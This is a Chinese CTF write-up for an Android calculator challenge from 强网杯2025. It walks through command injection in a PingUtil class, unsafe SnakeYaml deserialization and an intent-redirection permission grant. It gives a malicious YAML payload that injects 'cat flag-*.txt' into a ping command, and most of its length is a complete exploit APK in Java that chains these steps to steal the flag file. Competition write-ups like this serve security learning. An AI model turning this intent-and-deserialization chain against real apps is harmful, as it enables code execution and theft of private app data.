强网杯2025
没全做出来,不会做成完全自动的,也不知道poc检测原理
利用点
[ol]
后门类执行指令
package com.qinquang.calc;
import android.util.Log;
/* loaded from: classes3.dex */
public final class PingUtil {
private static final String TAG = "PingUtil";
public PingUtil(String address) {
try {
Log.d(TAG, "PingUtil constructor called with: " + address);
String pingCmd = "ping -c 1 " + address;
Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", pingCmd});
Log.d(TAG, "Command executed: " + pingCmd);
process.waitFor();
} catch (Exception e) {
Log.e(TAG, "Error executing ping command", e);
}
}
}
这个类中的构造函数会接收一个字符串,并接在ping -c 1后被执行
yaml反序列化漏洞(SnakeYaml)
原理:https://changeyourway.github.io/2025/05/17/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-SnakeYaml%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
源码:
public class HistoryManager {
public static final String HISTORY_FILE_NAME = "history.yml";
//省略
public List loadHistory() {
Yaml yaml = new Yaml();
try {
FileInputStream fis = this.context.openFileInput(HISTORY_FILE_NAME);
InputStreamReader reader = new InputStreamReader(fis);
try {
Object result = yaml.load(reader);
非法Intent提权
在MainActivity中onEqual如果出现异常并且有fallbackIntent便会进入BridgeActivity
public void onEqual(View view) {
char c;
if (this.input.isEmpty() || this.operator.isEmpty()) {
return;
}
double secondNum = Double.parseDouble(this.input);
double result = 0.0d;
String expression = this.firstNum + " " + this.operator + " " + secondNum;
try {
String str = this.operator;
switch (str.hashCode()) {
// 省略
case 3:
result = this.firstNum / secondNum;
if (!Double.isInfinite(result) && !Double.isNaN(result)) {
break;
} else {
throw new ArithmeticException("Division by zero detected");
}
}
String fullCalculation = expression + " = " + result;
this.tvInput.setText(String.valueOf(result));
this.historyManager.saveHistory(fullCalculation);
} catch (Exception unused) {
Log.d("QiangCalc", "Exception during calculation: " + unused.getMessage());
unused.printStackTrace();
Intent fallbackIntent = (Intent) getIntent().getParcelableExtra("fallback");
Log.d("QiangCalc", "Fallback intent: " + (fallbackIntent != null ? "found" : "not found"));
if (fallbackIntent != null) {
Log.d("QiangCalc", "Fallback intent data: " + fallbackIntent.getData());
Log.d("QiangCalc", "Fallback intent extras: " + fallbackIntent.getExtras());
fallbackIntent.addFlags(268435456);
ContentValues bridgeValues = new ContentValues();
bridgeValues.put("action", "process");
bridgeValues.put(TypedValues.AttributesType.S_TARGET, "history");
bridgeValues.put("timestamp", Long.valueOf(System.currentTimeMillis()));
fallbackIntent.putExtra("bridge_values", bridgeValues);
String signature = getIntent().getStringExtra("calc_signature");
fallbackIntent.putExtra("bridge_signature", signature);
Intent bridgeIntent = new Intent(this, BridgeActivity.class);
bridgeIntent.putExtra("origIntent", fallbackIntent);
startActivity(bridgeIntent);
finish();
}
this.tvInput.setText("Error");
}
this.input = "";
this.operator = "";
}
BridgeActivity检验了一系列条件,都符合时给该Intent读写history.yml权限
if (values != null && processContentValues(values)) {
String token = origIntent.getStringExtra("bridge_token");
if (!validateToken(token)) {
Log.e(TAG, "Invalid token");
finish();
return;
}
File historyFile = new File(getFilesDir(), HistoryManager.HISTORY_FILE_NAME);
Uri historyUri = Uri.parse("content://com.qinquang.calc/" + historyFile.getName());
origIntent.setData(historyUri);
origIntent.addFlags(3);
startActivity(origIntent);
[/ol]
攻击链
[ol]
应用除零异常,将构造的恶意Intent传入桥接,往history.yml中写入恶意代码
"!!com.qinquang.calc.PingUtil [ '8.8.8.8;cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml' ]"
触发loadHistory,yaml反序列化执行
ping -c 1 8.8.8.8;cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml
再次应用除零异常,读取history.yml,flag就存在里面了
[/ol]
对于全自动的思路
[ol]
[/ol]
apk编写
按顺序按按钮就行,第二个按钮按下后点计算器H运行loadhistory触发,再第三个按钮除零异常读取
package com.n0rth5ea.creakcluc;
import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.Toast;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
public class PermissionReceiverActivity extends Activity {
private static final String TAG = "PermissionReceiver";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
Uri historyUri = intent.getData();
boolean isReadMode = intent.getBooleanExtra("read_mode", false);
if (isReadMode) {
// 读取模式:从history.yml读取flag
try (InputStream is = getContentResolver().openInputStream(historyUri);
BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8))) {
StringBuilder flagContent = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
flagContent.append(line);
}
String flag = flagContent.toString();
Log.d(TAG, flag);
Toast.makeText(this, "Flag captured!", Toast.LENGTH_LONG).show();
MainActivity.flag = flag;
} catch (Exception e) {
Log.e(TAG, "Failed to read from history.yml", e);
Toast.makeText(this, "Failed to read flag: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
} else {
// 写入模式:写入恶意YAML到history.yml
// 构造恶意YAML,使用PingUtil执行命令将flag写入history.yml
String maliciousYaml = "!!com.qinquang.calc.PingUtil [ '8.8.8.8; echo \"- $(cat /data/data/com.qinquang.calc/flag-*.txt | base64)\" > /data/data/com.qinquang.calc/files/history.yml' ]";
try (OutputStream os = getContentResolver().openOutputStream(historyUri)) {
if (os != null) {
os.write(maliciousYaml.getBytes(StandardCharsets.UTF_8));
Log.d(TAG, "Successfully wrote malicious YAML to history.yml");
Toast.makeText(this, "Payload written successfully", Toast.LENGTH_SHORT).show();
}
} catch (Exception e) {
Log.e(TAG, "Failed to write to history.yml", e);
Toast.makeText(this, "Failed to write payload: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
}
}
finish();
}
}
package com.n0rth5ea.creakcluc;
import android.content.ComponentName;
import android.content.ContentValues;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.widget.Button;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
public class MainActivity extends AppCompatActivity {
private static final String TAG = "ExploitMainActivity";
private TextView logTextView;
public static String flag = "";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
logTextView = findViewById(R.id.logTextView);
Button btnWrite = findViewById(R.id.btn_write_payload);
Button btnTrigger = findViewById(R.id.btn_trigger);
Button btnRead = findViewById(R.id.btn_read_flag);
btnWrite.setOnClickListener(v -> writePayload());
btnTrigger.setOnClickListener(v -> triggerExecution());
btnRead.setOnClickListener(v -> readResult());
log("Exploit app ready. Click buttons in order.");
}
private void log(String message) {
Log.d(TAG, message);
runOnUiThread(() -> {
String currentText = logTextView.getText().toString();
logTextView.setText(currentText + "\n" + message);
});
}
private void writePayload() {
log(" Step 1: Writing malicious payload to history.yml...");
Intent payloadIntent = new Intent();
payloadIntent.setClassName(getPackageName(), "com.n0rth5ea.creakcluc.PermissionReceiverActivity");
payloadIntent.putExtra("read_mode", false);
// 构造bridge_values
ContentValues values = new ContentValues();
values.put("action", "process");
values.put("target", "history");
payloadIntent.putExtra("bridge_values", values);
// 生成token
String token = "aaf4b4eb2510cf9e";
payloadIntent.putExtra("bridge_token", token);
// 设置flags
payloadIntent.setFlags(Intent.FLAG_FROM_BACKGROUND);
// 构造触发Intent
Intent triggerIntent = new Intent(Intent.ACTION_VIEW);
triggerIntent.setData(Uri.parse("qiangcalc://calculate?expression=10/0"));
triggerIntent.putExtra("fallback", payloadIntent);
triggerIntent.setPackage("com.qinquang.calc");
try {
startActivity(triggerIntent);
log("[+] Payload write request sent");
} catch (Exception e) {
log("[!] Failed to send payload write request: " + e.getMessage());
}
}
private void triggerExecution() {
log(" Step 2: Triggering payload execution in target app...");
try {
log(" Trying to launch HistoryActivity directly...");
Intent historyIntent = new Intent();
historyIntent.setComponent(new ComponentName("com.qinquang.calc", "com.qinquang.calc.HistoryActivity"));
historyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(historyIntent);
log("[+] Success! HistoryActivity should be launching now.");
} catch (SecurityException e) {
log("[!] Failed to launch HistoryActivity directly (it might be non-exported).");
log(" Falling back to launching the main app. You will need to click 'History' manually.");
try {
Intent mainIntent = getPackageManager().getLaunchIntentForPackage("com.qinquang.calc");
if (mainIntent != null) {
startActivity(mainIntent);
log("[+] Target app launched. Please click the 'History' button to trigger the payload.");
} else {
log("[!] Could not find the main launch intent for the target app.");
}
} catch (Exception ex) {
log("[!] Failed to launch the main app: " + ex.getMessage());
}
} catch (Exception e) {
log("[!] An unknown error occurred while trying to launch HistoryActivity: " + e.getMessage());
}
}
private void readResult() {
log(" Step 3: Reading the result from history.yml...");
Intent payloadIntent = new Intent();
payloadIntent.setClassName(getPackageName(), "com.n0rth5ea.creakcluc.PermissionReceiverActivity");
payloadIntent.putExtra("read_mode", true);
// 构造bridge_values
ContentValues values = new ContentValues();
values.put("action", "process");
values.put("target", "history");
payloadIntent.putExtra("bridge_values", values);
// 生成token
String token = "aaf4b4eb2510cf9e";
payloadIntent.putExtra("bridge_token", token);
// 设置flags
payloadIntent.setFlags(Intent.FLAG_FROM_BACKGROUND);
// 构造触发Intent
Intent triggerIntent = new Intent(Intent.ACTION_VIEW);
triggerIntent.setData(Uri.parse("qiangcalc://calculate?expression=10/0"));
triggerIntent.putExtra("fallback", payloadIntent);
triggerIntent.setPackage("com.qinquang.calc");
try {
startActivity(triggerIntent);
log("[+] Read request sent. Check Logcat for the flag.");
} catch (Exception e) {
log("[!] Failed to send read request: " + e.getMessage());
}
}
}